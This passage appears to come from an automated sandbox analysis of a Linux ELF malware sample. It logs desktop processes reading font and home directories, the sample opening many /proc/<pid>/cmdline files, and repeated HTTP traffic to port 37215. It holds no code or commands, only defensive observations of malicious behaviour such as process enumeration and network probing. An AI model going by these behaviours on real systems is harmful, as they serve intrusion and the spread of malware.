Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6243)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6243)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6243)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 6243)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 6253)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 6253)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 6253)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 6253)	Directory: /home/saturnino/.config	Jump to behavior

Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2033/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2275/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1612/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2028/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/3236/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2025/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2146/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/4444/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/6227/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/4445/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/6226/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/4446/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/517/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/759/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2285/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2281/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/761/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1622/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1983/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2038/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1860/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2156/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1629/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1627/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/4470/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/3021/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2294/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2050/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1877/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/772/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1633/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1632/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/774/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/654/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/896/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2048/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/655/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2289/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/777/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/4467/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1639/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1638/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2180/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/6142/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1809/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1494/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1890/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2063/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2062/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1888/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1886/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/420/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1489/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/785/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1642/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/788/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/667/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/789/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/4477/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/1648/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/4497/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2078/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2077/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2074/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/2195/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/670/cmdline	Jump to behavior
Source: /tmp/t9lNEiD3ui.elf (PID: 6215)	File opened: /proc/6150/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 48658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39892 -> 37215
